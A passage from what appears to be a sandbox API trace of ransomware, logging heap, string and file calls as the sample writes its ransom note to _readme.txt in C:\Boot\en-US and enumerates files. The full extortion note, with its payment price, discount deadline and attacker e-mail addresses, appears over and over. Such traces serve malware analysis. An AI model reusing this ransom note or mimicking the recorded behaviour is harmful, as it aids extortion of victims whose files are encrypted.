free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.403] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.403] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.403] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.404] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.404] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.404] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.404] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.404] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.404] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.404] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.405] CloseHandle (hObject=0x5c4) returned 1 [0066.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.405] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.405] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.405] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.405] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.405] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0066.405] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31d9ed0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.405] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31d9ed0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.405] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.405] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.405] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.406] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 